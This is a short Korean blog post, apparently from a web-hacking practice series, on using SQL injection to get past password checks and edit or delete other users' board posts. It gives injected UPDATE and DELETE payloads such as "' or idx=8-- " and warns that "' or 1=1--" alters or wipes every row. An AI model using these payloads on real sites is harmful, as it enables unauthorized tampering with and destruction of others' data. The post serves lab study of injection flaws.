Oh! JUN

인증 우회 공격을 통한 타 사용자 게시글 무단 수정, 삭제 실습 본문

웹 해킹/SQL Injection

인증 우회 공격을 통한 타 사용자 게시글 무단 수정, 삭제 실습

Kwon Oh! JUN 2022. 8. 10. 01:28

접근 권한이 없는 타 사용자의 글을 수정할때는 패스워드를 입력해서 할 수도 있는데  상황이 두가지가 있다.

 

1. UPDATE/DELETE 구문의 WHERE 절에 password 삽입되어 검증

- 수정/삭제 할때 패스워드를 같이 입력해서 수행할 수 있다.

 

2. UPDATE/DELETE 구문 실행 전 password 검증

- 수정/삭제 전 패스워드를 입력해서 접근 권한을 얻고 수행할 수 있다.


Delete 클릭하면 위와 같은 화면이 나오는데 패스워드를 입력하는 동시에 게시물이 삭제되는 이 경우는 1번에 해당하는 경우다.

 

delete from board where idx=8 and password='' or idx=8-- '

 

idx=8 and password='' and 거짓 = 거짓
(idx=8 and password='') or idx=8 거짓 or =

수정도 마찬가지이다.

update board set title=..., content=..., date=..., where idx=8 and password='' or idx=8-- '

 

idx=8 and password=''  and 거짓 = 거짓
(idx=8 and password='') or idx=8 거짓 or  = 

※ 주의할 점

update, delete는 데이터에 직접적인 영향을 주는 구문이다.

그래서 특정 데이터를 지정해주지 않고 ' or 1=1-- 을 함부로 사용하면 쿼리를 참으로 만들어버려서 모든 데이터를 일괄수정/삭제를 할 수가 있다.

update board set title=..., content=..., date=..., where idx=8 and password='' or 1=1 '